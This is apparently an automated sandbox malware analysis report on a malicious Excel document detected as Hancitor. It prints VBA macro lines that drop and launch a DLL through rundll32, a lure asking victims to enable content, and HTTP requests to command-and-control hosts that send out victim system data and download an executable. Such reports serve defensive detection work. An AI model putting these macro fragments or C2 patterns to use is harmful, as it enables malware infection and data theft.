Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_00341FE0 InternetCrackUrlA,InternetConnectA,HttpOpenRequestA,InternetCloseHandle,InternetQueryOptionA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

5_2_00341FE0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3ECECA93.emf

Jump to behavior

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: api.ipify.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7hsjfd9w4refsd.exe HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: s0lom0n.ruCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /?format=xml HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: api.ipify.orgConnection: Keep-Alive

Source: svchost.exe, 00000007.00000002.2132921997.000000000022B000.00000004.00000020.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: rundll32.exe, 00000004.00000002.2348635367.0000000001B20000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349163400.0000000002130000.00000002.00000001.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: svchost.exe, 00000007.00000002.2132921997.000000000022B000.00000004.00000020.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)

Source: unknown

DNS traffic detected: queries for: api.ipify.org

Source: unknown

HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)

Source: rundll32.exe, 00000005.00000002.2348826017.00000000005AC000.00000004.00000020.sdmp	String found in binary or memory: http://aidgodown.ru/8/forum.php
Source: rundll32.exe	String found in binary or memory: http://api.ipify.org
Source: svchost.exe, 00000007.00000002.2132894094.00000000001F4000.00000004.00000020.sdmp	String found in binary or memory: http://api.ipify.org/?format=xml
Source: rundll32.exe, 00000005.00000003.2121584965.00000000001D0000.00000040.00000001.sdmp, rundll32.exe, 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp	String found in binary or memory: http://api.ipify.org0.0.0.0ncdrlebGUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)GUID
Source: rundll32.exe, 00000004.00000002.2348635367.0000000001B20000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349163400.0000000002130000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000004.00000002.2348635367.0000000001B20000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349163400.0000000002130000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000004.00000002.2349091460.0000000001D07000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349407298.0000000002317000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000004.00000002.2349091460.0000000001D07000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349407298.0000000002317000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: rundll32.exe, 00000005.00000002.2348826017.00000000005AC000.00000004.00000020.sdmp	String found in binary or memory: http://relifleappin.ru/8/forum.php
Source: rundll32.exe, 00000005.00000002.2349914383.0000000003050000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: rundll32.exe, 00000004.00000002.2349091460.0000000001D07000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349407298.0000000002317000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000005.00000002.2348826017.00000000005AC000.00000004.00000020.sdmp, rundll32.exe, 00000005.00000002.2348733440.000000000051D000.00000004.00000020.sdmp	String found in binary or memory: http://tholeferli.com/8/forum.php
Source: rundll32.exe, 00000005.00000002.2348788273.0000000000553000.00000004.00000020.sdmp	String found in binary or memory: http://tholeferli.com/8/forum.phponnect
Source: rundll32.exe, 00000004.00000002.2349091460.0000000001D07000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349407298.0000000002317000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: rundll32.exe, 00000005.00000002.2349914383.0000000003050000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: rundll32.exe, 00000004.00000002.2348635367.0000000001B20000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349163400.0000000002130000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000004.00000002.2349091460.0000000001D07000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349407298.0000000002317000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000004.00000002.2348635367.0000000001B20000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349163400.0000000002130000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000005.00000002.2349163400.0000000002130000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 5.3.rundll32.exe.1d438c.0.raw.unpack, type: UNPACKEDPE	Matched rule: Hancitor Payload Author: kevoreilly
Source: 5.3.rundll32.exe.1d438c.0.unpack, type: UNPACKEDPE	Matched rule: Hancitor Payload Author: kevoreilly
Source: 5.2.rundll32.exe.340000.0.unpack, type: UNPACKEDPE	Matched rule: Hancitor Payload Author: kevoreilly

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable editing button from the yellow bar above 19 ' Once you have enabled editing, please click
Source: Screenshot number: 4	Screenshot OCR: Enable content button 21 ,, from the yellow bar above 23 24 25 26 27 28 29 30 31 32 ::(

Document contains OLE streams with PE executables

Show sources

Source: 0722_2857746751.xls

Stream path 'MBD0132A5F4/\x1Ole10Native' : MZ signature found

Document contains an embedded VBA macro which may execute processes

Show sources

Source: 0722_2857746751.xls

OLE, VBA macro line: Private Declare PtrSafe Function fffz Lib "shell32" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Document contains an embedded VBA macro with suspicious strings

Show sources

Source: 0722_2857746751.xls	OLE, VBA macro line: Name pafs As Environ$("temp") & "\" & "omsh.dll"
Source: 0722_2857746751.xls	OLE, VBA macro line: Private Declare PtrSafe Function fffz Lib "shell32" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Source: 0722_2857746751.xls	OLE, VBA macro line: vcbc = Environ$("temp")
Source: 0722_2857746751.xls	OLE, VBA macro line: fffz 0, vbNullString, "rundl" & "l32", Environ$("temp") & "\omsh.dll,SHIIJGLGNAB", vbNullString, 1
Source: 0722_2857746751.xls	OLE, VBA macro line: usx = Environ$("temp")
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function nam, String environ: Name pafs As Environ$("temp") & "\" & "omsh.dll"	Name: nam
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String environ: vcbc = Environ$("temp")	Name: Workbook_Open
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String environ: fffz 0, vbNullString, "rundl" & "l32", Environ$("temp") & "\omsh.dll,SHIIJGLGNAB", vbNullString, 1	Name: Workbook_Open
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function xxx, String environ: usx = Environ$("temp")	Name: xxx

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Show sources

Source: 0722_2857746751.xls

Stream path '_VBA_PROJECT_CUR/VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions exec, run, environ

Office process drops PE file

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\532.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 7_2_004293B0: GetFileInformationByHandle,DeviceIoControl,

7_2_004293B0

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0034E000	5_2_0034E000
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_003534B0	5_2_003534B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0035639C	5_2_0035639C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040E85F	7_2_0040E85F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00415800	7_2_00415800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040F9C0	7_2_0040F9C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_004122DD	7_2_004122DD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_004220F8	7_2_004220F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00425141	7_2_00425141
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0042D972	7_2_0042D972
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0042F101	7_2_0042F101
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_004261C4	7_2_004261C4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_004221DF	7_2_004221DF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00430268	7_2_00430268
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040727F	7_2_0040727F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0042FA0C	7_2_0042FA0C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040B2F3	7_2_0040B2F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0042FB2C	7_2_0042FB2C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00432BF4	7_2_00432BF4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040A3A4	7_2_0040A3A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0042F445	7_2_0042F445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00420408	7_2_00420408
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00430C08	7_2_00430C08
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_004314CB	7_2_004314CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00409CE5	7_2_00409CE5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0042E4B7	7_2_0042E4B7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0042057D	7_2_0042057D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00414506	7_2_00414506
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00406D10	7_2_00406D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00430523	7_2_00430523
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0042DDCA	7_2_0042DDCA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00409DD8	7_2_00409DD8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0042FE02	7_2_0042FE02
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00430E22	7_2_00430E22
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00432E3A	7_2_00432E3A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0042E6E2	7_2_0042E6E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0042EEA0	7_2_0042EEA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040A71A	7_2_0040A71A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0042EFC5	7_2_0042EFC5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040BFEF	7_2_0040BFEF

Source: 0722_2857746751.xls	OLE, VBA macro line: Private Sub Workbook_Open()
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open			Name: Workbook_Open

Source: 0722_2857746751.xls

OLE indicator, VBA macros: true

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\532.dll 8EFAC1531E83525BB0806EEBCA0BB9A797A18FEB1848A4CEEE4A88FDB85CBBBD

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: String function: 0034DFA0 appears 41 times

Source: C:\Windows\System32\IME\IMEJP10\imjppdmg.exe

Section loaded: imjp12k.dll

Jump to behavior

Source: 5.3.rundll32.exe.1d438c.0.raw.unpack, type: UNPACKEDPE	Matched rule: Hancitor author = kevoreilly, description = Hancitor Payload, cape_type = Hancitor Payload
Source: 5.3.rundll32.exe.1d438c.0.unpack, type: UNPACKEDPE	Matched rule: Hancitor author = kevoreilly, description = Hancitor Payload, cape_type = Hancitor Payload
Source: 5.2.rundll32.exe.340000.0.unpack, type: UNPACKEDPE	Matched rule: Hancitor author = kevoreilly, description = Hancitor Payload, cape_type = Hancitor Payload

Source: rundll32.exe, 00000004.00000002.2348635367.0000000001B20000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349163400.0000000002130000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.phis.troj.spyw.expl.evad.winXLS@9/7@7/5

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 7_2_00415800 CreateMutexA,LoadLibraryA,URLDownloadToFileA,LoadLibraryA,GetComputerNameW,GetSystemInfo,GlobalMemoryStatusEx,GetTimeZoneInformation,GetLocaleInfoW,CreateToolhelp32Snapshot,Process32First,Process32Next,RegOpenKeyExW,RegEnumKeyExW,RegOpenKeyExW,

7_2_00415800

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Roaming\Microsoft\IMJP10

Jump to behavior

Source: C:\Windows\System32\IME\IMEJP10\imjppdmg.exe	Mutant created: \Sessions\1\BaseNamedObjects\{6597B945-4806-49df-9D96-BABAB5D250A7}
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\serhershesrhsfesrf

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRCD5C.tmp

Jump to behavior

Source: 0722_2857746751.xls

OLE indicator, Workbook stream: true

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\IME\IMEJP10\imjppdmg.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\omsh.dll,SHIIJGLGNAB

Source: 0722_2857746751.xls	Virustotal: Detection: 29%
Source: 0722_2857746751.xls	ReversingLabs: Detection: 22%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\IME\IMEJP10\imjppdmg.exe /Migration
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\omsh.dll,SHIIJGLGNAB
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\omsh.dll,SHIIJGLGNAB
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\System32\svchost.exe
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\IME\IMEJP10\imjppdmg.exe /Migration	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\omsh.dll,SHIIJGLGNAB	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\omsh.dll,SHIIJGLGNAB	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\System32\svchost.exe	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Binary string: c:\Star\danger\Air_Night\recei\Paragraph.pdb source: rundll32.exe, 00000005.00000002.2348584640.0000000000359000.00000002.00020000.sdmp, 0722_2857746751.xls

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_00343580 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,

5_2_00343580

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0034C6F3 push ecx; ret	5_2_0034C706
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0034DFE5 push ecx; ret	5_2_0034DFF8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0036F992 push ecx; retf	5_2_0036F993
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00435E20 push dword ptr [eax+04h]; ret	7_2_00435E4F

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\532.dll

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\532.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_5-9703

Source: C:\Windows\SysWOW64\rundll32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_5-8525

Source: C:\Windows\SysWOW64\svchost.exe TID: 2324

Thread sleep time: -240000s >= -30000s

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_00343400 GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,

5_2_00343400

Source: C:\Windows\SysWOW64\rundll32.exe

API call chain: ExitProcess graph end node

graph_5-9256

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_0034D00F _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

5_2_0034D00F

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_00343580 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,

5_2_00343580

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0036EAD1 mov eax, dword ptr fs:[00000030h]	5_2_0036EAD1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0036E607 push dword ptr fs:[00000030h]	5_2_0036E607
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0036EA00 mov eax, dword ptr fs:[00000030h]	5_2_0036EA00

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_00341390 GetProcessHeap,RtlAllocateHeap,

5_2_00341390

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0035203E __decode_pointer,SetUnhandledExceptionFilter,	5_2_0035203E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0035201C SetUnhandledExceptionFilter,__encode_pointer,	5_2_0035201C
